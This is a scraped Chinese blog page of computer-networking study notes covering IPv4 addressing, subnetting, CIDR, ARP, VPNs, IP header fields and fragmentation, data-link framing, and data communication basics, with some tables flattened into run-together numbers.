用来控制是否允许数据报分片。只有DF=0才允许分片。片偏移——13位,指较长的分组在分片后某片在原分组中的相对位置。也就是说,相对于用户数据字段的起点,该片从何处开始,以便目的主机重装数据报。片偏移以8个字节为偏移单位。这就是说,每个分片的长度一定是8字节(64位)的整数倍。 IP数据报分片举例:一数据报的总长度为 3820 字节,其数据部分的长度为 3800 字节(使用固定首部),需要分片为长度不超过 1420 字节的数据报片。因固定首部长度为 20 字节,因此每个数据报片的数据部分长度不能超过 1400 字节。于是分为 3 个数据报片,其数据部分的长度分别为 1400、1400 和 1000 字节。原始数据报首部被复制为各数据报片的首部,但必须修改有关字段的值。总长度标识MFDF片偏移原始数据报382012345000数据报片1142012345100数据报片214201234510175数据报片310201234500350 生存时间——8位,记为TTL(Time To Live),表示该数据所在网络中的寿命。其单位最初是秒,但为了方便,现在都用“跳数”作为TTL的单位。数据报每经过一个路由器,其TTL值就减 1,当TTL值减为零时,就丢弃这个数据报。
0
0
0
浏览量577
爱喝奶茶的波波

计算机网络体系结构

常见的计算机网络体系结构OSI体系结构法律上的国际标准TCP/IP体系结构事实上的国际标准计算机网络体系结构分层的必要性计算机网络是个非常复杂的系统。早在最初的ARPANET设计时就提出了分层的设计理念。“分层”可将庞大而复杂的问题,转化为若干较小的局部问题,而这些较小的局部问题就比较易于研究和处理。下面,我们按照由简单到复杂的顺序,来看看实现计算机网络要面临哪些主要的问题,以及如何将这些问题划分到相应的层次,层层处理。物理层 如何标识网络中的各主机(主机编址问题,例如MAC地址)如何从信号所表示的一连串比特流中区分出地址和数据如何协调各主机争用总线 解决使用何种信号来传输比特的问题网络层 如何标识各网络以及网络中的各主机(网络和主机共同编址的问题,例如IP地址) 路由器如何转发分组.如何进行路由选择解决分组在多个网络上传输(路由)的问题 运输层如何解决进程之间基于网络的通信问题出现传输错误时,如何处理解决进程之间基于网络的通信问题应用层 通过应用进程间的交互来完成特定的网络应用   解决通过应用进程的交互来实现特定网络应用的问题计算机网络体系结构分层思想举例计算机网络体系结构中的专用术语实体实体任何可发送或接收信息的硬件或软件进程。对等实体收发双方相同层次中的实体。协议协议 控制两个对等实体进行逻辑通信的规则的集合。协议的三要素语法:定义所交换信息的格式语义:定义收发双方所要完成的操作同步:定义收发双方的时序关系 服务 在协议的控制下,两个对等实体间的逻辑通信使得本层能够向上一层提供服务。要实现本层协议,还需要使用下面一层所提供的服务。 在协议的控制下,两个对等实体间的逻辑通信使得本层能够向上一层提供服务。要实现本层协议,还需要使用下面一层所提供的服务。协议是“水平的”,服务是“垂直的”。|实体看得见相邻下层所提供的服务,但并不知道实现该服务的具体协议。也就是说,下面的协议对上面的实体是"透明"的。服务访问点 在同一系统中相邻两层的实体交换信息的逻辑接口,用于区分不同的服务类型。□ 数据链路层的服务访问点为帧的“类型”字段。□ 网络层的服务访问点为IP数据报首部中的“协议字段”。□运输层的服务访问点为“端口号”。上层使用下层所提供的服务必须通过与下层交换一些命令,这些命令称为服务原语。
0
0
0
浏览量515
爱喝奶茶的波波

网际协议IPv4

基本介绍网际协议IP是TCP/IP体系中两个重要的协议之一。IPv4虽有最终被IPv6取代的趋势,但它仍是当前使用的最重要的因特网协议。 与IP配套使用的还有3个协议:地址解析协议ARP(Address Resolution Protocol)因特网控制报文协议ICMP(Internet Control Message Protocol)网际组管理协议IGMP(Internet Group Management Protocol)网际协议 IP 及其配套协议 分类的 IP 地址 IPv4协议的主要特点IPv4协议提供一种无连接的分组传送服务,它不承诺服务质量的保证(即不保证传送的分组可能出现的差错、丢失、重复和失序等现象)。IPv4协议是点–点的网络层通信协议。Pv4协议对传输层屏蔽了物理网络的差异。网络层借助IP协议向传输层提供统一的IP分组,这有助于各种异构网络的互连。   IP地址及其指派把整个因特网可看成为一个单一的、抽象的网络。IP地址就是给每个连接在因特网上的主机(或路由器)分配一个在全世界范围内惟一的标识符(长度为32bit ) 。P地址由因特网名字与号码指派公司ICANN (Internet Corporation for Assigned Names and Numbers)进行分配的。 IP 地址的编址方法IP地址的编址经历两个阶段:分类IP地址。这是最基本的编址方法,1981年通过了相应的标准协议。基于分类IP地址存在的问题,又于1985年提出子网划分、变长子网划分的概念。这是对最基本的分类编址方法的改进。无分类IP地址。1993年又提出新的分类编址方法,且得到了推广应用。所谓“分类的IP地址”就是将IP地址划分为若干个固定类,每一类地址都由两个固定长度的字段组成,其中一个字段是网络号net-id,它标志某主机(或路由器)所连接的网络编号;另一个字段则是主机号host-id,它标志该主机(或路由器)在该类网络中的编号。n这种两级结构的 IP 地址可以记为:IP 地址 ::= { <网络号>, <主机号>} 其中,::= 代表“定义为” IPv4 地址的格式 IP地址的表示——点分十进制记法  辨别IP地址类别如果给出了二进制记法表示的地址,用它的前几位表示地址的类别。A、00000001  00001011  00001011  11101111     A类B、11000001  10000011  00011011  11111111     C类C、10100111  11011011  10001011  01101111     B类D、11110011  10011011  11111011  00001111     E类 如果用点分十进制记法表示的地址,则按第1 字节表示的十进制数来判定地址类别:A类为0~127,B类为128~191,C类为192~223,D类为224~239,E类为240~255。A、227.12.14.87  D类B、193.14.56.22  C类C、14.23.120.8  A类D、252.5.15.111  E类E、134.11.78.56  B类 特殊的IP地址网络号为全0是指本网络。网络号和主机号均为全1是对本网络进行广播(路由器不转发)。A类网络地址127是一个保留地址,用于本地软件环回测试之用。主机号为全1是指对本网络号的所有主机进行广播。地址类别可指派的最多网络数第一个可指派的网络号最后一个可指派的网络号每个网络中可拥有的最多主机数约占整个地址空间的比例A125(27-3)112616777214(224-2)50%B16367(216-17)128.1191.25565534(216-2)25%C2096895(221-257)192.0.1223.255.255254(28-2)12.5%IP 地址的一些重要特点IP地址是一种分级式地址结构。它不反映主机(或路由器)所在地理位置的任何信息。每一个IP地址都由网络号和主机号两部分组成。这种地址结构的好处是:P地址管理机构在分配IP地址时只分配网络号(第一级),而剩下的主机号(第二级)则由得到该网络号的单位自行分配。这样就方便了IP 地址的管理。路由器仅根据目的主机所连接的网络号来转发分组(而不考虑目的主机号),这样就可以使路由表中的项目数大幅度减少,从而减小了路由表所占的存储空间。 IP地址指明了一台主机(或路由器)和一条链路的接口。 当一个主机同时连接到两个网络上时,该主机就必须同时具有两个相应的IP地址,其网络号 net-id必须是不同的。这种主机称为多归属主机(multihomed host)。由于一个路由器至少应当连接到两个网络,因此一个路由器至少也应当有两个不同的 IP 地址凡是分配到网络号net-id的网络,无论是范围很小的局域网,还是可能覆盖很大地理范围的广域网,其地位都是平等的。按照因特网的观点,一个网络是指具有相同网络号的主机的集合。用转发器或网桥连接起来的若干个局域网仍为一个网络,因为这些局域网都具有相同的网络号 net-id。 划分子网三级IP地址的构成当初的IP地址设计不够合理,主要体现在:IP地址使用存在很大的浪费,地址空间的利用率很低。如10BASE-T允许加接的主机数是1024,但必须申请一个B类地址,则浪费了64510个地址,地址空间利用率仅为1.56%。两级IP地址不够灵活。某单位对本单位的网络都有按部门划分的要求,但两级IP地址结构中并没有作出这方面的规定。按物理网络分配一个网络号的方法,将导致路由表的表项越来越多,这不易改善网络性能 1985年起,IP地址格式中增加了一个“子网号字段”,使IP地址由两级结构变为三级结构。这种做法叫作划分子网。划分子网的基本思路划分子网纯属单位内部的事情,对本单位以外的网络是完全透明的。划分子网的方法是把主机号字段的前若干个比特作为子网号字段,则 IP地址∷={<网络号>,<子网号>,<主机号>}       凡从其他网络传送到本单位网络某主机的IP数据报,仍然按IP数据报的目的网络号传送到连接在本单位网络上的路由器。此路由器收到 IP 数据报后,再按目的网络号 net-id 和子网号 subnet-id 找到目的子网。最后将 IP 数据报直接交付给目的主机。举例:一个未划分子网的 B 类网络145.13.0.0划分为三个子网后,对外仍是一个网络 子网掩码由于IP地址本身以及数据报的首部都没有包含任何关于划分子网的信息,所以从一个IP数据报的首部无法判断源主机或目的主机所连接的网络是否进行了子网的划分。如何知道子网的划分呢?划分子网要用到子网掩码(subnet mask)的概念。使用子网掩码(subnet mask)可以很方便地找出 IP 地址中的子网部分。TCP/IP体系规定:子网掩码是一个32位二进制数,由一串连续的“1”后随一串连续的“0”组成。其中“1”对应于IP地址的网络号和子网号字段,而“0”对应于IP地址的主机号字段。 子网掩码采用点分十进制表示法(255.255.0.0),也可用网络前缀(或斜线)标记法(135.41.0.0/16) IP 地址的各字段和子网掩码的关系(IP地址) AND (子网掩码) =网络地址 子网掩码是一个网络或一个子网的重要属性。因特网标准规定:所有的网络都必须有一个子网掩码,它包含在路由表中。划分子网的概念也适用于未划分子网的情况。未划分子网的网络可使用默认子网掩码。使用子网掩码可简化路由器的路由选择算法。A、B和C类IP地址的默认子网掩码划分子网的利弊利——增加了灵活性。弊——减少了能够连接在网络上的主机总数。例如,一个B类地址最多可连接65534台主机,但当划分成4个子网后,实际连接的主机为32764台,这是因为[RFC950]规定:子网号不能为全0或全1变长子网子网划分的最初目的是把基于类的网络划分为几个规模相同的子网。其实,创建不同规模的子网可避免IP地址的浪费。对于不同规模子网的划分,称为变长子网划分。变长子网划分是一种用不同长度的子网掩码来分配子网号字段的技术。它是对已划分好的子网使用不同的子网掩码做进一步划分形成不同规模的网络,从而提高IP地址资源的利用率。变长子网划分举例一个B类IP地址为136.48.0.0的网络,需配置为1个能容纳32000台主机的子网,15个能容纳2000台主机的子网和8个能容纳254台主机的子网。无分类编址 划分子网的概念缓解了当初IP地址设计不够合理所引起的矛盾,而变长子网的概念也符合用户对IP地址实际使用的需要。但这些措施并未从根本上缓解因特网在发展过程中所遇到的困难。在1992年,因特网面临着三个急需解决的问题:①B类地址在1992年已分配过半。②因特网主干网上的路由表中的项目数急剧增长。③2011年2月,IANA宣布IPv4地址已经耗尽。IETF在VLSM的基础上,又研究出采用无分类编址方法来解决上述问题。无分类编址方法的正式名字无分类域间路由选择CIDR(Classless Inter-Domain Routing),其新文档是RFC 4632CIDR的主要设计思想CIDR取消了以往对IP地址进行分类以及划分子网的概念,利用各种长度的“网络前缀 (network-pfefix) ”来代替分类地址中的网络号和子网号。            IP地址∷={<网络前缀>,<主机号>} CIDR把网络前缀相同的连续的IP地址块组成“CIDR地址块”。一个CIDR地址块可用它的起始地址和块中地址数来表示。如136.48.32.8/20表示某CIDR地址块中的一个地址。 无分类编址的表示CDIR使用网络前缀标记法(或斜线记法),即在IP地址后面加一斜线“/”再加一数字,此数字是网络前缀的位数,如136.48.52.36,表示该IP地址的前20位是网络前缀。CIDR还使用其他几种表示形式。一种是把点分十进制中的低位连续的“0”省去,如20.0.0.0/10,可表示为20/10。另一种是在网络前缀后面加一个星号“*”,如00010100 00*,其中星号前是网络前缀,星号表示IP地址中的主机号CIDR地址块举例136.48.32.8/20表示在这个32位的IP地址中,前20位为网络前缀,后12位为主机号。每个地址块共有212个地址,其起始地址是136.48.32.0。在不需要指出地址块的起始地址时,也可将这样的地址块简称为“/20地址块”。136.48.32.0/20地址块的最小地址:136.48.32.0,最大地址:136.48.47.255。全 0 和全 1 的主机号地址一般不使用。136.48.32.8/20地址块含有212个地址 路由聚合(route aggregation)一个CIDR地址块可以包含很多地址,路由表的表项也可改用地址块来表示。这种地址聚合称为路由聚合。路由聚合既利于缩短路由表,又可减少查找路由表的时间,从而提高了因特网的性能。路由聚合也称为构建超网(supernetting)。CIDR 虽然不使用子网概念,但仍然使用“掩码”这一名词(只是不叫子网掩码而已)。如对 /20 地址块,它的掩码是20个连续的1。斜线记法中的数字就是掩码中 1 的个数。 构建超网在“包含的地址数中”,包含了全0和全1地址。表中K表示210(即1024)。网络前缀小于13或大于27的地址较少使用。 CIDR地址块中的地址数一定是2的整数次幂。前缀长度不超过23位的CIDR地址块都包含了相当于多个C类地址。这些C类地址合起来就构成了超网。网络前缀越短,其地址块所包含的地址数就越多。而在三级结构的IP地址中,划分子网是使网络前缀变长。使用CIDR构建超网,必须得到相关路由器及其协议的支持。使用CIDR地址块的最大好处可以更有效地分配IPv4的地址空间。如某单位需用900个IP地址。未使用CIDR时,ISP可以分配给该单位一个B类地址或者4个C类地址。但使用了CIDR,ISP可分配给该单位一个地址块208.18.128.0/22,它包含1024个IP地址,相当于4个连续的/24地址块。可以按网络所在的地理位置来分配地址块,这可以大大缩小路由表所占的空间,即减少路由表的表项数。地址解释和地址转换 IP 地址与硬件地址的区别举例:用两个路由器互连三个局域网通信的路径是:H1→经过 R1 转发→再经过 R2 转发→ H2从协议栈的层次上看数据的流动 从虚拟的 IP 层上看 IP 数据报的流动在链路上看 MAC 帧的流动 在IP层抽象的互联网上只能看到IP数据报。图中的IP1→IP2表示从源地址IP1到目的地址IP2,两个路由器的IP地址并不出现在IP数据报的首部中虽然在IP数据报首部有源站IP地址,但路由器只根据目的站的IP地址的网络号进行路由选择  在具体的物理网络的链路层,只能看见MAC帧,而看不见IP数据报(它被封装在MAC帧中) 。MAC帧在传送过程中,首部中填写的硬件地址HAx是不同的。尽管互连在一起的网络的硬件地址体系各不相同,但IP层抽象的互联网屏蔽了下层很复杂的细节。在抽象的网络层上讨论问题,就能够使用统一的、抽象的 IP 地址来研究主机与主机或主机与路由器之间的通信。  地址解析协议ARP无论网络层使用什么协议,在实际网络的链路上传送数据帧时,最终使用的是硬件地址。IP地址(32位)和硬件地址(48位)之间不存在简单的映射关系。ARP协议解决IP地址与物理地址的映射,而RARP协议解决物理地址与IP地址的映射。每一个主机都设有一个ARP高速缓存(cache),里面存放有所在的局域网上的各主机和路由器的IP地址到硬件地址的映射表。当主机A欲向本局域网上的某个主机B发送IP数据报时,就先在其ARP高速缓存中查看有无主机B的IP地址。如有,即得到其对应的硬件地址,再将此硬件地址写入MAC帧,然后通过局域网将该 MAC帧发往此硬件地址。否则该主机运行ARP协议。ARP 高速缓存高速缓存的作用就在于可以减少网络上的通信量。如果不用高速缓存,因为网络上的任一台主机要进行通信都需用广播方式发送ARP请求分组,这将导致网络上的通信量大大增加。用了高速缓存就可将得到的地址映射存入待用。ARP对存放在高速缓存中的“IP地址-硬件地址”映射表设置生存时间(如10min)。凡超过生存时间的表项即删除。被删除的表项无原则重新建立,也要经过前面所述的查找目的主机硬件地址的过程。ARP是解决同一个局域网上的主机(或路由器)的IP地址和硬件地址的映射问题。只要主机或路由器与本网络上的另一个已知IP地址的主机或路由器进行通信,ARP协议就会自动地将该 IP地址解析为链路层所需要的硬件地址。如果所要找的目的主机和源主机不在同一个局域网上,那么就要通过ARP找到一个位于本局域网上的某个路由器的硬件地址,然后把分组发送给这个路由器,让这个路由器把分组转发给下一个网络。剩下的工作就由下一个网络来做。从IP地址到硬件地址的解析是自动进行的,这种地址解析过程对用户对透明的。使用 ARP 的四种典型情况发送方是主机,要把IP数据报发送到本网络上的另一个主机。这时用 ARP 找到目的主机的硬件地址。发送方是主机,要把 IP 数据报发送到另一个网络上的一个主机。这时用 ARP 找到本网络上的一个路由器的硬件地址。剩下的工作由这个路由器来完成。发送方是路由器,要把 IP 数据报转发到本网络上的一个主机。这时用 ARP 找到目的主机的硬件地址。发送方是路由器,要把 IP 数据报转发到另一个网络上的一个主机。这时用 ARP 找到本网络上另一个路由器的硬件地址。剩下的工作由这个路由器来完成。   为什么不直接使用硬件地址进行通信?由于全世界存在着各式各样的网络,它们使用不同的硬件地址。要使这些异构网络能够互相通信就必须进行非常复杂的硬件地址转换工作,这几乎是不可能的事。IP编址解决了这个复杂问题。凡连接到因特网的主机都拥有统一的IP地址,它们之间的通信就像连接在同一个网络上那样简单方便,因为调用ARP来寻找某个路由器或主机的硬件地址都是由计算机软件自动进行的,对用户来说是看不见这种调用过程的。 虚拟专用网VPN由于IP地址的紧缺,一个机构能够申请到的IP地址数往往远小于本机构所拥有的主机数。考虑到因特网安全性并不很好,一个机构内也并不需要把所有的主机都接入到外部的因特网。因而就有一个设想:假定一个机构内部的计算机通信也采用TCP/IP协议,那么从原则上讲,对于这些仅在机构内部使用的计算机就可以由本机构自行分配其IP地址两种地址本地地址--仅在本机构内部使用的IP地址,可由本机构自行分配,不必向因特网的管理机构申请。全球地址--全球唯一的IP地址,必须向因特网的管理机构申请。存在的问题:在内部使用的本地地址有可能与因特网中某个IP地址重合,从而出现地址的二义性问题解决的办法:RFC1918指明了一些专用地址。专用地址只能用作本地地址而不能用作全球地址。在因特网中的所有路由器,对目的地址是专用地址的数据报一律不进行转发。三个专用地址块,即ICANN预留的部分A、B和C类专用地址块。A类:10.0.0.0~10.255.255.255;B类:172.16.0.0~172.31.255.255;C类:192.168.0.0~192.168.255.255 采用这种专用IP地址的专用网称为拟专用网VPN。虚拟专用网VPN是建立在基础网络之上的一种功能性网络。它向使用者提供一般专用网所具有的功能,但本身却不是一个独立的物理网络,而是通过隧道技术,架构在公共网络服务商所提供的网络平台(如Internet、ATM和FR等)之上的逻辑网络。虚拟专用网的两个含义:一是“虚拟”,因为整个VPN网上的任意两个结点之间的连接并没有传统专用网所需的端到端的物理链路,而是将它建立在分布广泛的公用网络的平台上;二是一个“专用网”,每个VPN用户都可以从临时的“专用网”上获得所需的资源。构建虚拟专用网的注意事项在不同网点的专用网之间进行通信,而需要通过公用的因特网,又有保密要求的,那么所有通过因特网的数据都必须加密。一个机构要构建自己的VPN就必须为它的每一个场所购买专用的硬件和软件,并进行配置,使每一个场所的VPN系统都知道其他场所的地址。 虚拟专用网的特点成本低廉,只需支付日常的上网费用。得到最常用的网络协议的广泛支持。具有身份验证、数据加密等安全可靠功能。易于扩充和管理。 虚拟专用网的不足安全性。由于因特网不是一个可信赖的安全网络,为确保数据传输的安全,应对入网传输的数据进行加密处理。可管理性。VPN的管理要能够应对电信单位需求的快速变化,以避免额外的远行开支。性能。由于ISP是“尽力交付”传输的IP分组,而跨因特网的传输性能又无法得到保证,且时有变化,所以附加的安全措施也会显著地降低性能。利用隧道技术实现虚拟专用网隧道的建立有两种方式:一种是自愿隧道,指服务器计算机或路由器可以通过发送VPN请求配置和创建的隧道;另一种是强制隧道,指由VPN服务提供商配置和创建的隧道。隧道有两种类型:①点-点隧道。隧道由远程用户计算机延伸到企业服务器,由两边的设备负责隧道的建立,以及两点之间数据的加密和解密。②端-端隧道。隧道中止于防火墙等网络边缘设备,它的主要功能是连接两端的局域网。IP 数据报的格式   IP数据报由首部和数据两部分组成。IP数据报的首部首部的前一部分为固定长度(20字节),这是所有IP数据报必须具有的。首部固定部分的后面是选项和填充字段(长度可变) 。数据部分的长度也是可变的版本——4位,指IP协议的版本。目前广泛使用的协议版本号为4 (即IPv4)。通信双方的协议版本必须一致。首部长度——4位,表示数据报首部的长度。因首部长度可表示的最大数值是15个单位(每单位为4 字节),所以IP的首部长度的最大值为60字节。当首部长度不足4字节的整数倍时,可利用填充字段加以填充补齐区分服务——8位,表示对数据报的服务要求。前三位表示优先级(0~7,0最低),D、T、R和C分别表示对时延、吞吐量、可靠性和路由服务费用有选择的要求。最后一位未用。该字段只有当使用区分服务时才使用。总长度——16位,指整个数据报(包括首部和数据)的长度,单位为字节。数据报的最大长度为65535字节(64KB)。总长度必须不超过数据链路层的最大传送单元MTU。当数据报长度超过MTU时,需对其分片,此时的总长度是指分片后的每一分片(包括首部与数据) 的长度标识(identification) ——16位,它用于数据报各分片最终被重装成来原来的数据报。它是一个计数器,每产生一个数据报,计数器就加1,并将此值赋给标识字段。目的主机将相同标识字段值的各分片数据报最后进行正确地重装(合片)。标志(flag) ——3位,目前只有后两位有意义。最低位记作 MF (More Fragment)。MF=1表示后面“还有分片”。MF=0表示已是最后一个分片。次低位是DF(Don‘t Fragment) 用来控制是否允许数据报分片。只有DF=0才允许分片。片偏移——13位,指较长的分组在分片后某片在原分组中的相对位置。也就是说,相对于用户数据字段的起点,该片从何处开始,以便目的主机重装数据报。片偏移以8个字节为偏移单位。这就是说,每个分片的长度一定是8字节(64位)的整数倍。 IP数据报分片举例:一数据报的总长度为 3820 字节,其数据部分的长度为 3800 字节(使用固定首部),需要分片为长度不超过 1420 字节的数据报片。因固定首部长度为 20 字节,因此每个数据报片的数据部分长度不能超过 1400 字节。于是分为 3 个数据报片,其数据部分的长度分别为 1400、1400 和 1000 字节。原始数据报首部被复制为各数据报片的首部,但必须修改有关字段的值。总长度标识MFDF片偏移原始数据报382012345000数据报片1142012345100数据报片214201234510175数据报片310201234500350 生存时间——8位,记为TTL(Time To Live),表示该数据所在网络中的寿命。其单位最初是秒,但为了方便,现在都用“跳数”作为TTL的单位。数据报每经过一个路由器,其TTL值就减 1,当TTL值减为零时,就丢弃这个数据报。
0
0
0
浏览量785
爱喝奶茶的波波

数据链路层解读

基本介绍概述 数据链路层使用的信道主要有两种类型点对点信道。使用一对一的点对点通信方式的信道。广播信道。使用一对多的广播通信方式的信道。由于广播信道上连接的主机很多,必须使用专用的共享信道协议来协调这些主机的数据发送,因此通信过程比较复杂。 不同的链路层可能采用不同的数据链路层协议帧是数据链路层的协议数据单元。帧由首部、数据部分和尾部组成。首部含有帧的控制信息(如地址、控制等),尾部包含帧校验序列,数据部分作为存放IP数据报的数据域。物理链路与数据链路 物理链路 (link,链路)   指相邻两结点之间无源的物理线路段,中间没有任何其他的交换结点。当两台计算机通信时,其通路是由多条链路串接构成的,这说明一条链路只是一条通路的一个组成部分。数据链路(datalink,逻辑链路)    由物理线路以及实现通信协议的硬件和软件组成的。数据链路层协议(即链路控制规程)是在不太可靠的物理链路上实现可靠的数据传输所必不可少的。网络适配器(即网卡)是实现这些协议的硬件和软件,它通常具有数据链路层和物理层的功能。 功能通常在两个对等的数据链路层之间画出一个数字管道,而在这条数字管道上传输的数据单位是帧。早期的数据通信协议曾叫作通信规程(procedure)。因此在数据链路层,规程和协议是同义语。 数据链路层在物理层提供服务的基础上向网络层提供服务。其基本任务是:把网络层下传的IP数据报封装成帧往下传给物理层,从物理层接收到的无差错帧中提取IP数据报上交给网络层,对差错帧则将其丢弃。    数据链路层的主要功能链路管理 数据链路的建立、维持和释放。帧定界   接收方应当从收到的比特流中准确地区分出一帧的开始和结束,即确定帧的边界位置。透明传输   任意的比特组合数据均可正确传输。流量控制   其实质是控制发送方的发送数据速率,不应超过接收方所能承受的能力。差错检测   通常采用发送端对被传输的比特流后面附加差错检测码,接收端重新计算检测码,两者进行比较,判别差错存在与否。     三个基本问题点对点信道的数据链路层协议要解决三个基本问题:帧定界透明传输差错检测 帧定界 帧定界(framing)就是从传送的比特流中正确地区分出帧的边界帧定界采用的几种方法:字节填充法   采用一些特定的控制字符来定界一帧的开始和结束。当PPP使用异步传输时,我们使用0x7D(01111101)作为转义符,转义的规则如下:把信息字段中出现的每一个0x7E字节转变为2字节序列(0x7D,0x5E)。若信息字段中出现一个0x7D的字节(即出现了和转义字符一样的比特组合),则把转义字符0x7D转变为2字节序列(0x7D,0x5D)。若信息字段中出现ASCII码的控制字符(即数值小于0x20的字符),则在该字符前面要加入一个0x7D字节,同时将该字符的编码加以改变。例如,出现0x03(在控制字符中是“传输结束”ETX)就要把它转变为2字节序列的(0x7D,0x31)。在字节填充法中,采用字节填充技术。被填入的字节是转义字节(ESC)。比特填充法   采用一特定的比特组合01111110来定界一帧的开始和结束,是目前最常用的方法。采用“零比特插入、删除”技术来解决传送的数据信息中出现特定比特组合的问题。 零比特填充相较字节填充要简单得多,0x7E的二进制表示是01111110,因此只要在每出现5个1时插入一个0就可以避免在数据中出现0x7E.字节计数法   采用一特定字符来表示一帧的开始,随后使用一个字节计数字段指明该帧所要求传输的字节数。此法仅应用于DDCMP规程中,存在的问题在于字节计数值在传输过程中出现错误,就无法确定帧的结束边界。非法比特编码法   采用非法编码作为帧的边界。 此法仅适用于物理媒体上采用特定比特编码的场合。例如,在局域网中采用双相码传输时,每个码元的中点都存在电平跳变。显然,对于码元中点不发生电平跳变的比特编码就属于非法比特编码,这种非法比特编码就可用作帧的定界透明传输 透明传输是指不管链路上传输的是何种形式的比特组合,都不会影响数据传输的正常进行。在字节填充法中,采用字节填充技术。被填入的字节是转义字节(ESC)。在比特填充法中,采用“零比特插入、删除”技术。如插入特定的比特组合“01111110”。在字节计数法中,采用字节计数字段指明所要传输的字节数。 采用字节填充技术的透明传输举例若传送的数据中出现控制字符,则采用插入一个转义字符“ESC”(1BH)来解决。如果转义字符也出现数据当中,应在转义字符前面再插入一个转义字符。在接收端应删除其插入的转义字符 差错控制 数据信号在传输过程中可能会产生差错:1 可能会变成 0 ,而 0 也可能变成 1。误码率 BER (Bit Error Rate)是衡量传输差错的度量指标。该指标表示:在一段时间内,传输错误的比特占所传输比特总数的比率。误码率与信噪比有着很大的关系。为了保证数据传输的可靠性,在计算机网络传输数据时,必须采用各种差错检测措施。循环冗余检验CRC是数据链路层被广泛采用的一种差错检测技术。注意帧校验序列FCS与CRC有着不同的含义。CRC指的是一种检错方法,而FCS则是添加在数据域后面起着检错作用的冗余码。循环冗余检验CRC差错检测技术只能做到无差错接受。“无差错接受”是指:“凡是接受的帧(即不包括丢弃的帧),我们都能以非常接近于1的概率认为这些帧在传输过程中没有产生差错”。换句话说,凡是接收端数据链路层接受的帧都没有传输差错(有差错的帧就丢弃而不接受)。要做到“可靠传输”(即发送什么就收到什么)就必须再加上确认和重传机制。习题讲解 数据链路层协议使用了下面的字符编码:A:01000111 B:11100011 FLAG:01111110 ESC:11100000。为了传输一个包含4个字符的帧:A B ESC FLAG,试问使用下面哪种成帧方法时所发送的比特序列是什么(二进制表示)?(1)字节计数(2)字节填充的标志字节(3)比特填充的标志字节(1)字节计数法需要帧的长度信息,所以一共需要发送5个字节。发送序列为:00000100(表示4)01000111 (A)11100011 (B)11100000(ESC)01111110 (FLAG);字节计数法需要帧的长度信息,也就是需要用同样的长度和二进制来表达对应的总共的字节的数量,所以是4,所以一共需要发送5个字节。(2)FLAG是起始、结束标志。所以发送序列为:01111110(FLAG) 01000111(A) 11100011(B) 11100000(ESC) 11100000(ESC) 11100000(ESC)01111110(FLAG)01111110(FLAG)FLAG是起始、结束标志。也就是必须在开头和结尾之中加上对应的转义符号,然后对于其中本身已经是转义符号的东西还要在前面加上另外的转义符号,所以一共是加上了2个esc和两个flag(3)数据中若遇到连续5个1则在其后添加0。所以发送序列为:01111110(FLAG)01000111(A)110100011(B)111000000(ESC)011111010 (FLAG)01111110 (FLAG)比特填充方法就是数据中若遇到连续5个1则在其后添加0,然后本身还要有flag的结束和开头。
0
0
0
浏览量468
爱喝奶茶的波波

数据通信基础知识

消息和信息、信号和数据消息和信息通信是在源点与终点之间传递消息或者信息。信息和消息有着不同的概念。消息是指能向人们表达客观物质运动和主观思维活动的文字、符号、数据、语音和图像等。它有两个特点:能被通信双方所理解可以相互传递。信息是指包含在消息中对通信者有意义的那部分内容。消息是信息的载体,消息中可能含有信息 一条消息包含信息的多少称为信息量,信息量的大小与消息所描述事件的出现概率有关。消息表示的事件是必然事件(概率为1),则该消息不含有任何信息量消息表示的事件根本不可能发生(概率为0) ,则该消息含有无穷的信息量。事件的不确定程度,可以用其出现的概率来描述,也就是说,事件出现的可能性越小,则概率越小;反之,则概率就越大。消息中的信息量与消息发生的概率紧密相关。消息出现的概率越小,则消息中包含的信息量就越大。如果事件是必然的(概率为1),那么它传递的信息量就应该为零。如果事件是不可能的(概率为0),那么它有无穷的信息量。香农规定,一条消息所荷载的信息量等于它所表示的事件发生的概率P的倒数的对数。 通常用比特作为信息量的单位 对于一条含有m个符号的消息,每个符号出现的概率不同。当m很大,若第i个符号出现的概率为Pi,共出现了n次,则它具有的信息量是 整条消息所具有的信息量是所有这样的信息量在不同的 i 值时之总和每个符号包含的平均信息量是 平均信息量是每个符号所含信息量的统计平均值,其单位为比特/符号。平均信息量又称为熵。信号在通信系统中,消息是通过电信号来传递的,信号是消息的载体。信号的分类连续信号与离散信号连续信号:连续时间范围内都有定义的信号;若函数值也连续,则称为模拟信号。离散信号:仅在一些离散的瞬间才有定义的信号;当取值为规定数值时,则称为数字信号。随机信号与确知信号随机信号是指其取值不确定、且不能事先确切预知的信号。确知信号是指其取值在任何时间都是确定的和可预知的信号。确知信号还可分为周期信号与非周期信号。 信号的特性信号的特性表现在时间特性和频率特性两个方面。时间特性主要指信号随时间变化的特性。信号随时间变化的表现包含了信号的全部信息量。频率特性是指信号可用频谱函数来表示的特性。频谱函数表征信号的各频率成分,以及各频率成分的振幅和相位。在分析通信系统时,把输入信号称为激励,输出信号称为响应。 信号分析的两种方法:时域分析法是利用信号的时间特性,把激励和响应看成是时间函数的分析方法。频域分析法是利用信号的频率特性,把激励和响应经过傅立叶变换,将时间变量变换为频率变量进行分析的分析方法。 信号的带宽在通信领域中,信号的带宽最为常用的有以下两种定义。绝对带宽B——指信号频谱正频谱非零部分所对应的频率范围。半功率带宽——信号频谱在f0处为最大值而f0属于(f1,f2)区间内,且P(f1)= P(f2)=0.5P(f0),定义f1到f2的频率范围为半功率带宽。注意:信号的带宽与传输系统的带宽是两个概念。传输系统的带宽通常是指系统的频率响应曲线保持在中心处取值的0.707倍以内的频率区间。数据 数据是使用特定方式表示的信息,通常是有意义的符号序列。它是消息的一种表现形式,是传达某种信息的实体。当信息被表示为数据时,数据中就包含了信息。因此,信息可以通过解释数据来产生。信息强调“处理”和“使用”两个方面,尤其是“使用”。一份资料在使用之前其中的内容隶属于数据范畴,仅当它被使用之后才转化为信息。通信系统中的电信号有模拟信号和数字信号,而数据又分为模拟数据和数字数据。模拟数据在一段时间内具有连续的值(如声音等)数字数据则具有离散的值(如文本等)。 无论是模拟数据还是数字数据都能编码成模拟信号或数字信号。选择何种编码方式取决于需满足的要求和可能提供的传输媒体和通信设施。 数据和信号的四种组合:数字数据,数字信号(如0/1表示负电平/正电平,一串离散的、非连续的电压脉冲序列)数字数据,模拟信号(如ASK、FSK和PSK)模拟数据,数字信号(如话音信号的PCM调制)模拟数据,模拟信号(如AM、FM和PM)传输方式和传输速率传输方式基带传输和频带传输  按照传输系统在传输数据信号过程中是否搬移其频谱,传输方式可分两类:基带传输   